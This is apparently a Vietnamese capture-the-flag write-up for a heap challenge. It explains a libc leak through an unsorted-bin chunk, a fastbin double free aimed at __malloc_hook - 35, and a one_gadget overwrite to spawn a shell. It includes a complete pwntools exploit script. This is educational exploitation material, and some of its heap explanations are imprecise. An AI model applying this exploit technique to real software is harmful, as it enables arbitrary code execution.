😞Heap 2
Double Free
Challenge


Overview
createHeap()


showHeap()

editHeap()

deleteHeap()

Phân tích
Do chương trình không có bất kì hàm nào để đọc được flag nên tôi nghĩ sẽ sử dụng các gadget để rce nó. Nhưng mà PIE đã được bật. Vậy ta cần bypass PIE bằng cách leak địa chỉ nào đó hoặc leak địa chỉ libc.
Phần kiến thức quan trọng
Nhưng hãy ôn lại 1 chút kiến thức trước khi làm:
Bạn thường thấy các chunks sau khi được free sẽ được đẩy vào fastbins? Ví dụ như

Vậy khi nào nó không được đẩy vào fastbins? ==> Khi mà nó vượt qua kích thước tối đa của fastbins (default):
128
bytes ==0x80
bytes. Unsorted bin là một danh sách liên kết kép lưu trữ các chunks chưa được sắp xếp và có kích thước từ0x80
đến0x3fff
bytes. Sau khi được sắp xếp thì chúng sẽ được đổi sang Large bins. Nếu không thì Unsorted bins sẽ được dùng để cấp phát cho các malloc mới.Fastbins: là 1 danh sách có kiểu dữ liệu stack --> đó là lý do nó không chứa địa chỉ sau khi giải phóng.
Unsorted bins là 1 danh sách có kiểu dữ liệu là double linked list (tức là bao gồm 2 node và 1 data)
Small bins là 1 danh sách có kiểu dữ liệu là double linked list (tức là bao gồm 2 node và 1 data). Chứa các chunk được free có kích thước từ
0x20
-->0x80
Vì allocator luôn ưu tiên fastbins. Các chunks sau khi được free sẽ được đưa vào fastbins trước thay vì small bins.

Hãy nhớ chúng vì tôi thấy rất quan trọng
Quay lại với vấn đề chính. Tôi khai thác từ đề bài thì có 1 hàm show ra dữ liệu của chunk ngay cả khi nó đã được free (chỉ là không biết show ra gì thôi :>>) . Hãy nhìn lại bức ảnh này

Ta có 1 địa chỉ trong phần data của Unsorted bins. Bây giờ tôi sẽ sử dụng script sau đây để hiển thị ra nó:
createHeap(0, 0x80, b"A" * 0x80)
createHeap(1, 0x20, b"B" * 0x20)
deleteHeap(0)
showHeap(0)
Và tôi thấy nó thuộc vùng nhớ của libc:

Oki vậy tôi sẽ lấy ra địa chỉ được leak và địa chỉ __malloc_hook
luôn.

Vậy làm sao để có thể dùng địa chỉ này?
Thì tiếp theo tôi sẽ sử dụng lỗi double free để khai thác tiếp.
Double free là 1 kĩ thuật mà ta có thể free các chunk nhiều hơn 1 lần. Mục đích là điều khiển con trỏ fd. Đọc thêm kĩ thuật đó ở đây.
createHeap(2, 0x40, b"a"*8)
createHeap(3, 0x40, b"b"*8)
deleteHeap(2)
deleteHeap(3) #Phải free 3 trước bởi vì ta không thể free 2 lần liên tiếp nhau.
deleteHeap(2)



Lý do chuyển từ Unsortedbins --> Smallbins: Nếu chunk có kích thước lớn hơn kích thước tối thiểu của small bin (trong phiên bản libc 2.33, kích thước tối thiểu của small bin là 0x20 bytes), thì chunk sẽ được chuyển sang small bin ngay sau đó.


Oke, vậy ta đã free chunk 2 lần.
Tiếp sau đó, tôi cấp phát 1 chunk để xuất hiện malloc_hook
trong fastbin để sau này chúng ta ghi đè:
createHeap(2, 0x40, p64(malloc_hook) - 35)

Xem đoạn data mà tôi đã write vào chunk:

Vậy tại sao tôi lại lấy địa chỉ malloc_hook - 35 mà không phải là địa chỉ của malloc_hook luôn? Trả lời:
Tôi sẽ thử gửi payload:
createHeap(4, 0x60, p64(malloc_hook))
createHeap(5, 0x60, b"K"*8)
createHeap(6, 0x60, b"N"*8)
payload = b"Kinabler"
createHeap(7, 0x60, payload)


Nguyên do là trong cái chunk này không chứa size.

Dẫn đến lỗi xảy ra. Còn đối với địa chỉ malloc_hook - 35

Kết thúc câu hỏi.

Nhưng bây giờ fastbins còn chứa 2 chunk đang được free. Bởi vậy tôi sẽ malloc lại 2 lần nữa để nó trỏ đến phần data mà tôi muốn ghi đè.

Vậy ta còn 1 bins duy nhất ở fastbins. Lần này ta sẽ cấp phát 1 lần nữa kèm data của one_gadget để nó được ghi đè vào malloc_hook.
payload = p64(ogadget3)
createHeap(7, 0x50, payload)
Nhưng sau đó tôi đã gặp lỗi như này:

Tôi đoán là do size mà tôi đã cấp phát cho từng chunks vậy nên tôi sẽ chỉnh 1 xíu để sửa lỗi này.
payload = p64(ogadget3)
createHeap(7, 0x60, payload)

payload = b"@" * 19 + p64(ogadget3) # Tôi chọn one-gadget3 vì stack thường ổn định hơn thanh ghi
createHeap(7, 0x60, payload)


Khi này, nếu bạn double free 2 lần liên tiếp nữa thì bạn sẽ gặp phải các lỗi như "double free", "heap corruption" hoặc "use after free", thì __malloc_hook có thể được gọi để xử lý các vấn đề đó. Vì vậy khi malloc hook được gọi, địa chỉ mà tôi ghi đè cũng được gọi và ta lấy được shell.
Cuối cùng, đây là tất cả payload của tôi.
from pwn import *
elf = context.binary = ELF("./pwn2_df_patched")
libc = elf.libc
r = elf.process()
gdb.attach(r, '''
b*createHeap+115\n
b*deleteHeap+123\n
b*editHeap+150\n
b*showHeap+128\n
c
''')
context.log_level = "DEBUG"
context.arch = "amd64"
def createHeap(index,size,payload:bytes):
r.sendlineafter(b">\n", str(1).encode())
r.sendlineafter(b"Index:", str(index).encode())
r.sendlineafter(b"Input size:", str(size).encode())
r.sendlineafter(b"Input data:", payload)
def deleteHeap(index):
r.sendlineafter(b">\n", str(4).encode())
r.sendlineafter(b"Input index:", str(index).encode())
def editHeap(index, payload:bytes):
r.sendlineafter(b">\n", str(3).encode())
r.sendlineafter(b"Input index:", str(index).encode())
r.sendline(payload)
def showHeap(index):
r.sendlineafter(b">\n", str(2).encode())
r.sendlineafter(b"Index:",str(index).encode())
createHeap(0, 0x80, b"A" * 0x80)
createHeap(1, 0x20, b"B" * 0x20)
deleteHeap(0)
showHeap(0)
r.recvuntil(b"Data = ")
libc.address = u64(r.recv(6).ljust(8,b"\0")) - 0x39bb78
log.success(f"LIBC BASE: {hex(libc.address)}")
malloc_hook = libc.address + 0x39bb10
log.success(f"Malloc Hook: {hex(malloc_hook)}")
ogadget1 = 0x3f3d6 + libc.address
ogadget2 = 0x3f42a + libc.address
ogadget3 = 0xd5bf7 + libc.address
createHeap(2, 0x60, b"a"*7)
createHeap(3, 0x60, b"b"*7)
deleteHeap(2)
deleteHeap(3)
deleteHeap(2)
createHeap(4, 0x60, p64(malloc_hook- 35))
createHeap(5, 0x60, b"K"*8)
createHeap(6, 0x60, b"N"*8)
payload = b"@" * 19 + p64(ogadget3)
createHeap(7, 0x60, payload)
deleteHeap(6)
deleteHeap(6)
r.interactive()

Tổng kết
Qua bài này, tôi nghĩ bạn sẽ hiểu hơn về cách tận dụng lỗi Double Free
+ __Malloc_hook()
+ one_gadget
để khai thác cũng như ghi đè lên các địa chỉ mong muốn nhằm mục đích khai thác HEAP.
Và một vài kiến thức về fastbins, small bins và unsorted bins.
pwndbg
Cách tìm các hàm như
__malloc_hook
:

Và dữ liệu trong địa chỉ của __malloc_hook
sẽ là hàm malloc_hook_init
. Hàm malloc_hook_init
được gọi khi chương trình bắt đầu chạy và nó có tác dụng khởi tạo bộ hook để theo dõi các lời gọi hàm malloc
. Khi chương trình thực hiện lời gọi hàm malloc
, các bộ hook này sẽ được kích hoạt và cho phép chương trình can thiệp vào quá trình cấp phát bộ nhớ động.

Lỗi malloc(): memory corruption (fast)
Đoạn code này sẽ kiểm tra Fastbins xem có thỏa mãn hay không
#define REMOVE_FB(fb, victim, pp) \
do \
{ \
victim = pp; \
if (victim == NULL) \
break; \
} \
while ((pp = catomic_compare_and_exchange_val_acq (fb, victim->fd, victim)) \
!= victim); \
if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
{
idx = fastbin_index (nb);
mfastbinptr *fb = &fastbin (av, idx);
mchunkptr pp;
victim = *fb;
if (victim != NULL)
{
if (SINGLE_THREAD_P)
*fb = victim->fd;
else
REMOVE_FB (fb, pp, victim);
if (__glibc_likely (victim != NULL))
{
size_t victim_idx = fastbin_index (chunksize (victim));
if (__builtin_expect (victim_idx != idx, 0))
malloc_printerr ("malloc(): memory corruption (fast)");
check_remalloced_chunk (av, victim, nb);
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = *fb) != NULL)
{
if (SINGLE_THREAD_P)
*fb = tc_victim->fd;
else
{
REMOVE_FB (fb, pp, tc_victim);
if (__glibc_unlikely (tc_victim == NULL))
break;
}
tcache_put (tc_victim, tc_idx);
}
}
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
}

Oke, Hiểu sương sương có vậy, Nhớ được tất cả chúng thì quả là 1 điều tuyệt vời rồi.
Last updated